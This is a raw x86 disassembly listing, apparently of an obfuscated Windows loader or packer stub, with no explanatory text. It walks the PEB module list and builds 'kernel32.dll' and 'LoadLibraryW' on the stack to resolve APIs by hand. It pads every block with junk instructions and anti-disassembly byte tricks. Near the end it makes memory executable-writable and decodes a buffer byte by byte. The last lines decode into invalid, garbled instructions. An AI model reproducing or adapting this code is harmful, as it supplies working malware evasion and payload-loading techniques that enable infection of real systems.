dec edi
add esp, 4
and ecx, 0x9cba
pop ecx
push edx
push eax
add esp, 4
and edx, 0x759f
xor edx, 0x9d65
or edx, 0x99bd
pop edx
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ecx
push edx
add esp, 4
xor ecx, 0x13593
add ecx, 0x15ce6
pop ecx
push ebx
call 0x43599f
add byte [ebx], dh
inc eax
dec ebp
dec edx
xor al, 0x3b
dec eax
xor al, 0x83
les eax, [ecx + eax*4]
jmp 0x4359c0
add byte [eax], al
jmp 0x435c6e
push ebx
push esi
add esp, 4
sub ebx, 0x14fd8
sub ebx, 0x10a5a
pop ebx
push eax
push ebx
add esp, 4
jmp 0x435c8a
sub eax, 0xa74c
call 0x435c9c
add byte [ebp + 0x43], al
dec edx
inc esi
inc ebp
dec ebp
add esp, 4
pop eax
cmp dword [ebp - 0x2a8], 0
jne 0x4365a5
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push eax
xor eax, 0x260c
xor eax, 0x122ca
add eax, 0x13f2f
pop eax
push edi
push eax
add esp, 4
sub edi, 0x1448b
xor edi, 0xdd1f
add edi, 0x16f09
and edi, 0x9f26
pop edi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ecx
xor ecx, 0x16250
pop ecx
push ecx
push eax
add esp, 4
add ecx, 0x125d9
and ecx, 0xc7fb
jmp 0x435e1c
call 0x435e29
add byte [ecx*2 + 0x3c504549], bh
xor al, 0x83
les eax, [ecx + ebx*2]
cmp dword [ebp - 0x1518], 0
jne 0x435e45
mov dword [ebp - 0x710], 0
jmp 0x4360ec
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
push ecx
add esp, 4
sub edi, 0x1837
sub edi, 0x6356
pop edi
push edx
and edx, 0xc040
or edx, 0x9354
pop edx
push eax
push esi
add esp, 4
sub eax, 0x1107
xor eax, 0x16dfb
pop eax
cmp dword [ebp - 0xc58], 0
jne 0x435ea1
mov dword [ebp - 0x710], 0
jmp 0x4360ec
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push edi
and edi, 0xe61a
jmp 0x435ebc
jmp 0x435ec5
pop edi
push ebx
call 0x435ed4
add byte [edx], dh
inc ebx
push eax
dec ebx
inc ecx
inc edx
add esp, 4
jmp 0x435ede
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
xor edx, 0x10122
xor edx, 0xa982
and edx, 0xb9a2
xor edx, 0x11e1d
pop edx
push ecx
push edi
add esp, 4
jmp 0x435f2f
jmp 0x435f34
xor ecx, 0x10c66
pop ecx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push esi
or esi, 0x144c7
call 0x435fa8
add byte [ecx + 0x4c], al
dec esi
inc esi
dec esp
cmp eax, 0x833d3446
les eax, [esi + ebx*2]
push edx
push eax
add esp, 4
sub edx, 0x8eb9
pop edx
push ebx
push eax
add esp, 4
add ebx, 0x112b6
pop ebx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x435fe1
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x43603b
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x435f09
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x435f09
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x436025
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x43602f
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x436084
push esi
sub esi, 0x6dd
or esi, 0x134e2
jmp 0x436056
pop esi
push ecx
push esi
add esp, 4
jmp 0x436063
and ecx, 0x17cb8
and ecx, 0x15557
xor ecx, 0xdef1
pop ecx
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x4360ec
push edx
or edx, 0x14615
add edx, 0x15715
call 0x4360a0
add byte [edi], bh
inc esi
dec edi
inc edi
inc edx
cmp byte [esi + 0x47], al
dec edi
add esp, 4
pop edx
push edx
push eax
add esp, 4
and edx, 0x10f38
add edx, 0x36ec
pop edx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x4360e2
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x435ead
mov dword [ebp - 0x710], 0
push edx
or edx, 0x1f60
pop edx
push edx
jmp 0x4360fa
sub edx, 0xe27
and edx, 0x137e8
xor edx, 0x10f31
pop edx
push eax
push ecx
add esp, 4
jmp 0x436117
add eax, 0x150aa
pop eax
cmp dword [ebp - 0x710], 0
jne 0x436168
push ecx
push ecx
add esp, 4
xor ecx, 0x1329
pop ecx
push ebx
push edi
add esp, 4
xor ebx, 0xfc4e
sub ebx, 0xb741
pop ebx
push ebx
push eax
add esp, 4
add ebx, 0x4bad
pop ebx
push edi
or edi, 0xdf45
pop edi
mov dword [ebp - 0xa58], 0
jmp 0x436c90
push edi
and edi, 0x15ff
xor edi, 0xcdf1
or edi, 0xadd9
and edi, 0x1309b
pop edi
push edx
push eax
add esp, 4
and edx, 0xa8d3
xor edx, 0x9da2
and edx, 0x52ae
pop edx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x4361d9
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4364ca
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x436201
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x4364ca
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x436233
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x4364ca
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x436258
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x4364ca
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x4362b2
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x4364be
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x436322
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4363d4
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x4363d4
push edi
push edi
add esp, 4
xor edi, 0x11585
pop edi
push esi
xor esi, 0x13a4b
or esi, 0x13de9
pop esi
push esi
push ecx
add esp, 4
call 0x43637d
add byte [edx + 0x3d], al
push eax
inc ecx
cmp al, byte [eax + 0x42]
inc ecx
inc edi
add esp, 4
pop esi
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x4363c6
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x4363cd
jmp 0x436313
jmp 0x4363d4
push eax
jmp 0x4363dc
add eax, 0x412a
and eax, 0x77f4
sub eax, 0x1e27
pop eax
push esi
push edi
add esp, 4
xor esi, 0x2ed6
sub esi, 0xcffa
jmp 0x436405
pop esi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x436433
mov dword [ebp - 0xc5c], 0
jmp 0x4364a2
push edx
push ebx
add esp, 4
xor edx, 0x173bc
sub edx, 0x185aa
call 0x436453
add byte [ebp + 0x4e], al
xor al, 0x36
inc edi
dec edx
inc edx
dec edi
cmp eax, dword [ebx - 0x3d7efb3c]
scasb al, byte es:[edi]
ja 0x43645c
add byte [edx + 0x53], bl
pop edx
push ebx
add ebx, 0x1154c
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x436498
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x4364a2
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x4364b9
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x4364ca
jmp 0x4362a3
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x4365a5
push ecx
xor ecx, 0xa738
call 0x4364ec
add byte [edi], bh
dec esi
inc esp
inc edx
dec ecx
dec ebp
inc esp
add esp, 4
pop ecx
push esi
xor esi, 0x13461
jmp 0x436500
pop esi
push ebx
or ebx, 0x8f45
pop ebx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edi
push ebx
add esp, 4
add edi, 0xc4eb
or edi, 0x51f
jmp 0x43652c
or edi, 0xb557
pop edi
push edx
and edx, 0xe50c
xor edx, 0x129b
xor edx, 0x1435c
pop edx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x4365a5
push esi
push edi
add esp, 4
or esi, 0x10770
jmp 0x436578
pop esi
push ecx
push esi
add esp, 4
add ecx, 0x86fd
jmp 0x436589
or ecx, 0x2875
xor ecx, 0x15e7f
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x436c90
push edx
xor edx, 0x17097
pop edx
push ecx
push ecx
add esp, 4
sub ecx, 0x67d1
pop ecx
push eax
push ebx
add esp, 4
sub eax, 0x303c
or eax, 0x123e4
or eax, 0x9fea
sub eax, 0x181fa
pop eax
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ebx
xor ebx, 0x141fe
and ebx, 0x1453a
pop ebx
push ebx
push ecx
add esp, 4
call 0x436621
add byte [ebx + edi + 0x50], cl
cmp dl, byte [eax + 0x37]
xor al, byte [edi + 0x48]
add esp, 4
xor ebx, 0x682f
or ebx, 0xd63c
pop ebx
cmp dword [ebp - 0x1574], 0
jne 0x436649
mov dword [ebp - 0x2a8], 0
jmp 0x4368f0
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push eax
call 0x436668
add byte [esi + 0x39], al
inc ecx
aaa
xor eax, 0x4c48344
and eax, 0xe560
and eax, 0x130b3
xor eax, 0x12644
pop eax
push edx
jmp 0x436686
and edx, 0x5205
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x4366a5
mov dword [ebp - 0x2a8], 0
jmp 0x4368f0
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ebx
push edx
add esp, 4
call 0x4366c3
add byte [edx], dh
xor edi, dword [ebx]
inc edi
cmp byte [0x4c48349], dh
add ebx, 0xa4e4
sub ebx, 0x125a0
sub ebx, 0x138db
pop ebx
push ecx
jmp 0x4366e2
pop ecx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push eax
sub eax, 0x15fc1
sub eax, 0x16dc5
and eax, 0x10ffe
sub eax, 0x1bbe
pop eax
push ecx
push edi
add esp, 4
xor ecx, 0x16129
and ecx, 0x8383
or ecx, 0x111e6
pop ecx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edx
xor edx, 0x776c
pop edx
push edi
push edx
add esp, 4
add edi, 0x1700
and edi, 0x11138
pop edi
push ecx
push edi
add esp, 4
jmp 0x4367bb
sub ecx, 0x9ad9
sub ecx, 0xcef4
pop ecx
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x4367e5
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x43683f
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x43670d
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x43670d
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x436829
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x436833
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x436888
push ebx
and ebx, 0x18286
pop ebx
push ecx
push ebx
add esp, 4
xor ecx, 0xb549
pop ecx
push ebx
push esi
add esp, 4
add ebx, 0xeca4
jmp 0x43686d
or ebx, 0x183ce
xor ebx, 0xff66
pop ebx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x4368f0
push edi
jmp 0x436890
and edi, 0x4ae9
call 0x4368a2
add byte [edi + 0x45], al
xor al, 0x37
dec esp
inc edi
add esp, 4
pop edi
push esi
or esi, 0x653d
and esi, 0x17e04
xor esi, 0x11c1e
pop esi
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x4368e6
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x4366b1
mov dword [ebp - 0x2a8], 0
push ecx
push ecx
add esp, 4
add ecx, 0x17c4d
and ecx, 0x26b4
pop ecx
push ecx
push esi
add esp, 4
sub ecx, 0x5c78
or ecx, 0xa379
pop ecx
push ebx
and ebx, 0x9c35
and ebx, 0x5122
pop ebx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push ebx
push ebx
add esp, 4
add ebx, 0x176ae
add ebx, 0x10260
pop ebx
push esi
push esi
add esp, 4
call 0x436957
add byte [ebx + 0x37], cl
cmp edi, dword [ebx]
xor eax, 0x484c3750
add esp, 4
pop esi
push edi
xor edi, 0x4bee
pop edi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x436993
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x436c84
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x4369bb
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x436c84
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x4369ed
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x436c84
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x436a12
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x436c84
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x436a6c
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x436c78
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x436adc
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x436b8e
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x436b8e
push edi
sub edi, 0x139c9
pop edi
push eax
push esi
add esp, 4
sub eax, 0x457f
jmp 0x436b21
jmp 0x436b28
pop eax
push edi
push ebx
add esp, 4
add edi, 0x171f4
sub edi, 0x6a0a
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x436b80
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x436b87
jmp 0x436acd
jmp 0x436b8e
push ecx
push eax
add esp, 4
or ecx, 0x10b48
pop ecx
push edi
call 0x436baa
add byte [edi], bh
inc ebp
inc esi
cmp al, 0x4a
xor al, 0x3c
inc ecx
add esp, 4
sub edi, 0x183e2
add edi, 0x1662
xor edi, 0x7b5a
pop edi
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x436bed
mov dword [ebp - 0xc6c], 0
jmp 0x436c5c
push eax
sub eax, 0x9edc
xor eax, 0xfe84
or eax, 0x10cf2
pop eax
push eax
push esi
add esp, 4
add eax, 0x16e34
and eax, 0x687f
pop eax
push edi
push eax
add esp, 4
xor edi, 0x5a47
pop edi
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x436c52
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x436c5c
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x436c73
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x436c84
jmp 0x436a5d
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push edi
push eax
add esp, 4
and edi, 0x7c04
or edi, 0x17a5d
pop edi
push edx
xor edx, 0x130ff
pop edx
push esi
call 0x436cb8
add byte [ebp + 0x3c], al
aaa
cmp eax, dword [eax + 0x43]
inc eax
add esp, 4
xor esi, 0x2d7b
pop esi
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x436d35
push edx
xor edx, 0x12968
add edx, 0x15729
sub edx, 0x11a0b
call 0x436d0f
add byte [esp + esi], bh
inc esi
inc esi
cmp dword ss:[0x5a04c483], esi
push eax
or eax, 0x11876
or eax, 0x18404
pop eax
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x436d52
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x436dae
push esi
jmp 0x436d67
sub esi, 0x18688
pop esi
push ebx
push edi
add esp, 4
and ebx, 0x5f28
call 0x436d88
add byte [esi + 0x3e], al
xor eax, 0x3e46383b
dec ebp
add esp, 4
xor ebx, 0x12395
pop ebx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x436d43
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x436e26
push edx
and edx, 0x6592
jmp 0x436def
pop edx
push ebx
sub ebx, 0x15096
or ebx, 0xf25c
pop ebx
push eax
push edx
add esp, 4
and eax, 0x10ac1
pop eax
push eax
and eax, 0x65da
pop eax
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push eax
push edi
add esp, 4
add eax, 0x1f77
xor eax, 0x10ff4
or eax, 0x1271e
pop eax
push ecx
and ecx, 0x13e1
sub ecx, 0x1520
and ecx, 0x3857
or ecx, 0x9103
pop ecx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff08ff
pop ecx
pop ecx
pop ebx
mov ecx, esp
or al, 0x89
int1
salc
sti
or byte [eax], cl
popal
pop edi
mov edi, esi
fimul word [esi + 8]
or byte [ecx + 0x81e79f7], cl
or byte [ecx + 0x918fdf7], cl
or byte [edi + 0x5e], ah
pop eax
mov ecx, esp
or al, 0x89
into
mov eax, dword [0x89080896]
salc
dec eax
arpl word [eax], cx
or byte [esi - 0x3e], ah
jae 0x436ea3
or byte [eax], cl
outsb dx, byte [esi]
xchg ecx, eax
popfd
invalid
pop es
shr byte [ebp + 8], 8
or byte [esi - 0x6f], ch
invalid